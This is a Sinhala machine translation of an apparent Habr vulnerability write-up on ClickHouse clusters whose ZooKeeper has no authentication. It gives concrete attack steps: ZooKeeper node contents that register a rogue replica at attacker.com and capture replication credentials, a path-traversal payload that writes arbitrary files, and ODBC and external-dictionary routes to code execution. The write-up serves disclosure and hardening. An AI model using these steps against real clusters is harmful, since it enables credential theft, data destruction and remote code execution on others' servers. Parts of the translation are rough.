සත්වෝද්‍යාන කූඩු වසා තැබිය යුත්තේ ඇයි?

සත්වෝද්‍යාන කූඩු වසා තැබිය යුත්තේ ඇයි?

මෙම ලිපිය ClickHouse අනුවර්තන ප්‍රොටෝකෝලය තුළ ඉතා නිශ්චිත අවදානමක් පිළිබඳ කතාව පවසන අතර, ප්‍රහාරක පෘෂ්ඨය පුළුල් කළ හැකි ආකාරය ද පෙන්වනු ඇත.

ClickHouse යනු විශාල දත්ත ප්‍රමාණයක් ගබඩා කිරීම සඳහා වන දත්ත ගබඩාවකි, බොහෝ විට අනුරූ එකකට වඩා භාවිතා කරයි. ClickHouse හි Clustering සහ replication ඉහලින් ගොඩනගා ඇත Apache ZooKeeper (ZK) සහ ලිවීමේ අයිතිය අවශ්‍ය වේ.

පෙරනිමි ZK ස්ථාපනය සඳහා සත්‍යාපනය අවශ්‍ය නොවේ, එබැවින් Kafka, Hadoop, ClickHouse වින්‍යාස කිරීමට භාවිතා කරන ZK සේවාදායකයන් දහස් ගණනක් ප්‍රසිද්ධියේ පවතී.

ඔබේ ප්‍රහාරක පෘෂ්ඨය අඩු කිරීමට, ZooKeeper ස්ථාපනය කිරීමේදී ඔබ සැමවිටම සත්‍යාපනය සහ අවසරය වින්‍යාසගත කළ යුතුය.

ඇත්ත වශයෙන්ම දින 0 පදනම් වූ Java deserializations ඇත, නමුත් ප්‍රහාරකයෙකුට ClickHouse අනුකරණය සඳහා භාවිතා කරන ZooKeeper වෙත කියවීමට සහ ලිවීමට හැකි යැයි සිතන්න.

පොකුරු ආකාරයෙන් වින්‍යාස කර ඇති විට, ClickHouse බෙදා හරින ලද විමසුම් සඳහා සහය දක්වයි ඩීඩීඑල්, ZK හරහා ගමන් කිරීම - ඔවුන් සඳහා පත්රයේ නෝඩ් නිර්මාණය කර ඇත /clickhouse/task_queue/ddl.

උදාහරණයක් ලෙස, ඔබ නෝඩයක් සාදන්න /clickhouse/task_queue/ddl/query-0001 අන්තර්ගතය සමඟ:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ඉන්පසුව, පරීක්ෂණ වගුව පොකුරු සේවාදායක host1 සහ host2 මත මකා දැමෙනු ඇත. DDL CREATE/ALTER/DROP විමසුම් ධාවනය කිරීමටද සහය දක්වයි.

බය හිතෙනවා වගේද? නමුත් ප්‍රහාරකයෙකුට සේවාදායක ලිපින ලබා ගත හැක්කේ කොතැනින්ද?

ClickHouse අනුකරණය තනි වගු මට්ටමින් ක්‍රියා කරයි, එවිට ZK හි වගුවක් සාදන විට, අනුරූ සමඟ පාර-දත්ත හුවමාරු කිරීම සඳහා වගකිව යුතු සේවාදායකයක් නියම කරනු ලැබේ. උදාහරණයක් ලෙස, ඉල්ලීමක් ක්‍රියාත්මක කිරීමේදී (ZK වින්‍යාස කළ යුතුය, chXX - අනුරුවේ නම, foobar - වගුවේ නම):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

නෝඩ් සාදනු ඇත තීරු и පාර-දත්ත.

අන්තර්ගතය /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

මෙම පොකුරෙන් දත්ත ඒකාබද්ධ කළ හැකිද? ඔව්, අනුකරණ වරාය නම් (TCP/9009) සේවාදායකයේ chXX-address ෆයර්වෝල් වසා නොදමනු ඇති අතර අනුකරණය සඳහා සත්‍යාපනය වින්‍යාස නොකෙරේ. සත්‍යාපනය මඟ හරින්නේ කෙසේද?

ප්‍රහාරකයෙකුට ZK හි අන්තර්ගතය සරලව පිටපත් කිරීමෙන් නව අනුරුවක් සෑදිය හැක /clickhouse/tables/01-01/foobar/replicas/chXX සහ අර්ථය වෙනස් කිරීම host.

අන්තර්ගතය /clickhouse/tables/01-01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

එවිට ඔබට ප්‍රහාරකයාගේ සේවාදායකයේ නව දත්ත වාරණයක් ඇති බව අනෙක් අනුරූ වලට පැවසිය යුතුය - ඔවුන් ගත යුතු - ZK හි නෝඩයක් සාදනු ලැබේ. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX ඒකාකාරී ලෙස වර්ධනය වන කවුන්ටරය, එය සිදුවීම් ලොගයේ අවසාන එකට වඩා වැඩි විය යුතුය):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

එහිදී source_replica - පෙර පියවරේදී සාදන ලද ප්‍රහාරකයාගේ අනුරුවේ නම, block_id - දත්ත වාරණ හඳුනාගැනීම, ලබා - "get block" විධානය (සහ මෙන්න වෙනත් මෙහෙයුම් සඳහා විධාන).

මීලඟට, සෑම අනුරුවක්ම ලොගයේ නව සිදුවීමක් කියවන අතර දත්ත බ්ලොක් එකක් ලබා ගැනීම සඳහා ප්‍රහාරකයා විසින් පාලනය කරනු ලබන සේවාදායකයක් වෙත යයි (ප්‍රතිවර්තන ප්‍රොටෝකෝලය ද්විමය, HTTP මත ක්‍රියාත්මක වේ). සේවාදායකය attacker.com ඉල්ලීම් ලැබෙනු ඇත:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

මෙහි XXX යනු අනුකරණය සඳහා සත්‍යාපන දත්ත වේ. සමහර අවස්ථාවලදී, මෙය ප්‍රධාන ClickHouse ප්‍රොටෝකෝලය සහ HTTP ප්‍රොටෝකෝලය හරහා දත්ත සමුදායට ප්‍රවේශය ඇති ගිණුමක් විය හැක. ඔබ දැක ඇති පරිදි, ප්‍රතිනිර්මාණය සඳහා භාවිතා කරන ZooKeeper, සත්‍යාපනය වින්‍යාස කිරීමකින් තොරව ඉතිරි කර ඇති නිසා, ප්‍රහාරක පෘෂ්ඨය ඉතා විශාල වේ.

අනුරුවකින් දත්ත බ්ලොක් එකක් ලබා ගැනීමේ කාර්යය දෙස බලමු, සියලුම අනුපිටපත් නිසි පාලනයට යටත් වන බවත් ඒවා අතර විශ්වාසයක් පවතින බවත් පූර්ණ විශ්වාසයකින් ලියා ඇත.

සත්වෝද්‍යාන කූඩු වසා තැබිය යුත්තේ ඇයි?
අනුරූ සැකසුම් කේතය

ශ්‍රිතය මඟින් ගොනු ලැයිස්තුවක් කියවා, ඒවායේ නම්, ප්‍රමාණය, අන්තර්ගතය, පසුව ඒවා ගොනු පද්ධතියට ලියයි. ගොනු පද්ධතියේ දත්ත ගබඩා කරන ආකාරය වෙන වෙනම විස්තර කිරීම වටී.

උප බහලුම් කිහිපයක් ඇත /var/lib/clickhouse (වින්‍යාස ගොනුවෙන් පෙරනිමි ගබඩා නාමාවලිය):

ධජ - පටිගත කිරීම සඳහා නාමාවලිය කොඩි, දත්ත නැතිවීමෙන් පසු ප්රතිසාධනය සඳහා භාවිතා වේ;
tmp - තාවකාලික ගොනු ගබඩා කිරීම සඳහා නාමාවලිය;
පරිශීලක_ගොනු - ඉල්ලීම්වල ගොනු සහිත මෙහෙයුම් මෙම නාමාවලියට සීමා වේ (INTO OUTFILE සහ වෙනත්);
පාර-දත්ත - වගු විස්තර සහිත sql ගොනු;
පෙර සැකසූ_වින්‍යාස - සිට සැකසූ ව්‍යුත්පන්න වින්‍යාස ගොනු /etc/clickhouse-server;
දත්ත - දත්ත සමඟම සත්‍ය නාමාවලිය, මේ අවස්ථාවේ දී එක් එක් දත්ත සමුදාය සඳහා වෙනම උප බහලුමක් මෙහි සරලව සාදා ඇත (උදාහරණයක් ලෙස /var/lib/clickhouse/data/default).

එක් එක් වගුව සඳහා, දත්ත සමුදා නාමාවලියෙහි උප බහලුමක් සාදනු ලැබේ. එක් එක් තීරුව මත පදනම්ව වෙනම ගොනුවක් වේ එන්ජින් ආකෘතිය. උදාහරණයක් ලෙස මේසයක් සඳහා foobarප්‍රහාරකයෙකු විසින් සාදන ලද, පහත ගොනු සාදනු ඇත:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

දත්ත සමුදායක් සැකසීමේදී එකම නම් සහිත ගොනු ලැබීමට අනුරුව අපේක්ෂා කරන අතර ඒවා කිසිම ආකාරයකින් වලංගු නොකරයි.

ශ්‍රිතයක file_name අනාරක්ෂිත ලෙස ඒකාබද්ධ කිරීම ගැන අවධානයෙන් සිටින පාඨකයා දැනටමත් අසා ඇත. WriteBufferFromFile. ඔව්, මෙය ප්‍රහාරකයෙකුට පරිශීලක අයිතීන් සහිත FS හි ඕනෑම ගොනුවකට අත්තනෝමතික අන්තර්ගතය ලිවීමට ඉඩ සලසයි clickhouse. මෙය සිදු කිරීම සඳහා, ප්‍රහාරකයා විසින් පාලනය කරන අනුරුව ඉල්ලීමට පහත ප්‍රතිචාරය ලබා දිය යුතුය (තේරුම් ගැනීමේ පහසුව සඳහා රේඛා බිඳීම් එක් කර ඇත):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

සහ බද්ධ කිරීමෙන් පසුව ../../../../../../../../../tmp/pwned ගොනුව ලියා ඇත /tmp/pwned අන්තර්ගතය සමඟ hellofromzookeeper.

ගොනු ලිවීමේ හැකියාව දුරස්ථ කේත ක්‍රියාත්මක කිරීම (RCE) බවට පත් කිරීම සඳහා විකල්ප කිහිපයක් තිබේ.

RCE හි බාහිර ශබ්දකෝෂ

පැරණි අනුවාද වල, ClickHouse සැකසුම් සහිත බහලුම පරිශීලක අයිතිවාසිකම් සමඟ ගබඩා කර ඇත clickhouse පෙරනිමිය. සැකසීම් ගොනු යනු XML ගොනු වන අතර එය සේවාව ආරම්භයේදී කියවා පසුව හැඹිලිගත කරයි /var/lib/clickhouse/preprocessed_configs. වෙනස්කම් සිදු වූ විට, ඒවා නැවත කියවනු ලැබේ. ඔබට ප්රවේශය තිබේ නම් /etc/clickhouse-server ප්රහාරකයෙකුට තමාගේම නිර්මාණය කළ හැකිය බාහිර ශබ්දකෝෂය ක්රියාත්මක කළ හැකි වර්ගය සහ පසුව අත්තනෝමතික කේතය ක්රියාත්මක කරන්න. ClickHouse හි වත්මන් අනුවාදයන් පෙරනිමියෙන් අයිතිවාසිකම් ලබා නොදේ, නමුත් සේවාදායකය ක්‍රමයෙන් යාවත්කාලීන කළහොත්, එවැනි අයිතිවාසිකම් පැවතිය හැකිය. ඔබ ClickHouse පොකුරකට සහය දක්වන්නේ නම්, සැකසුම් නාමාවලියෙහි අයිතිවාසිකම් පරීක්ෂා කරන්න, එය පරිශීලකයාට අයත් විය යුතුය root.

ODBC සිට RCE දක්වා

පැකේජයක් ස්ථාපනය කරන විට, පරිශීලකයෙකු නිර්මාණය වේ clickhouse, නමුත් එහි මුල් නාමාවලිය නිර්මාණය කර නැත /nonexistent. කෙසේ වෙතත්, බාහිර ශබ්දකෝෂ භාවිතා කරන විට, හෝ වෙනත් හේතු නිසා, පරිපාලකයින් නාමාවලියක් නිර්මාණය කරයි /nonexistent සහ පරිශීලකයාට දෙන්න clickhouse එයට ලිවීමට ප්‍රවේශය (SSZB! ආසන්න වශයෙන් පරිවර්තකයා).

ClickHouse සහාය දක්වයි ODBC සහ වෙනත් දත්ත සමුදායන් වෙත සම්බන්ධ විය හැක. ODBC හි, ඔබට දත්ත සමුදා ධාවක පුස්තකාලයට (.so) මාර්ගය නියම කළ හැක. ClickHouse හි පැරණි අනුවාද මඟින් ඔබට මෙය සෘජුවම ඉල්ලීම් හසුරුවන්නෙහි සිදු කිරීමට ඉඩ දී ඇත, නමුත් දැන් සම්බන්ධතා තන්තුවෙහි වඩාත් දැඩි පරීක්ෂාවක් එක් කර ඇත odbc-bridge, එබැවින් ඉල්ලීමෙන් රියදුරු මාර්ගය සඳහන් කිරීමට තවදුරටත් නොහැක. නමුත් ඉහත විස්තර කර ඇති දුර්වලතාවය භාවිතා කරමින් ප්‍රහාරකයෙකුට නිවාස නාමාවලියට ලිවිය හැකිද?

අපි ගොනුවක් සාදා ගනිමු ~/.odbc.ini මෙවැනි අන්තර්ගතයන් සමඟ:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

පසුව ආරම්භයේදී SELECT * FROM odbc('DSN=lalala', 'test', 'test'); පුස්තකාලය පූරණය වනු ඇත test.so සහ RCE ලැබුණා (ස්තුතියි buglloc ඉඟිය සඳහා).

මෙම සහ අනෙකුත් දුර්වලතා ClickHouse අනුවාදය 19.14.3 හි නිරාකරණය කර ඇත. ඔබගේ ClickHouse සහ ZooKeepers ගැන සැලකිලිමත් වන්න!

මූලාශ්රය: www.habr.com

අදහස් එක් කරන්න